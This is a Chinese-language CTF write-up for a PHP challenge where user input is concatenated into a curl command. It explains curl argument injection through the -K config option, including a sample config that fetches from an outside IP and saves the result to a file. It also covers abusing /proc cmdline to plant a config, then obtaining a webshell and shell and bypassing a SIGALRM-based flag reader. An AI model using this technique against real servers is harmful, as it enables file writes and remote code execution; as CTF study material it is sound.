环境搭建
题目给出了源码。docker自己搭一下
docker build n1:v1 .
vim docker-compose.yml
version: "3"
services:
web:
build: .
image: n1:v1
ports:
- "80:80"
restart: always
docker-compose up -d
源码分析
漏洞点很明显。$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
grab_request_var
函数相当于$_REQUESTS['参数']
接受所有请求方式的值
输入的值被escapeshellarg后会和其他字符拼接。再拼接到curl命令。然后执行
在构建docker的时候。发现php版本是5.4.45。那么就可以利用00截断。把后面添加的字符截断
一般来说。。看到escapeshellarg。就不是&|;这种拼接命令注入了。。一般都是参数注入,比如curl -O保存文件这种
这里有四个可控点。分别是
curl --connect-timeout 10 $host_addr -g $cert . $key . $cacert;
这里就叫介绍下curl的-K参数了
-K 指定配置文件
我们可以在配置文件中定义好要请求的URL。保存路径。HTTP头这些配置
然后curl -K文件名。curl就会根据配置项中的值来进行请求
例如
option文件如下
URL="http://119.45.155.77/"
output="index.html"
curl -Koption
那么curl就会访问http://119.45.155.77/然后输出到index.html
并且。option文件中可以有其他杂乱的数据。只要配置项那部分格式正确就行
那么。这题是不是可以利用-K这个参数去写入文件
但是。这题怎么去写入我们想要的配置文件
用之前执行的-K。可以加载配置文件。那么我们能不能添加一个巨大的文件。让curl一直卡着。进程不结束。
进程不结束。那么就会有个/proc/fd/cmdline。会纪录他命令行的启动命令
这里我们将$host_addr
指定为了-K配置文件。让其进程不退出。
再配合后面几个可控的变量用换行符号。构造出一个配置文件
此时。这个curl进程还卡着没退出。可以再开个进程用-K/proc/xx/cmdline去执行
同样方法。去服务器上拿到webshell。弹个shell。发现靶机要执行/readflag
但是一执行/readflag就会退出和之前的交互式/readflag不太像啊。。
然后就下下来。ida分析下
发现程序用了ualarm函数。
那么readflag在0x3E8u微妙后每隔0秒给程序发送SIGALRM信号
继续搜。知道SIGALRM信号会自动终止程序
那么就要屏蔽这个信号https://www.cnblogs.com/liuhedong/p/10663842.html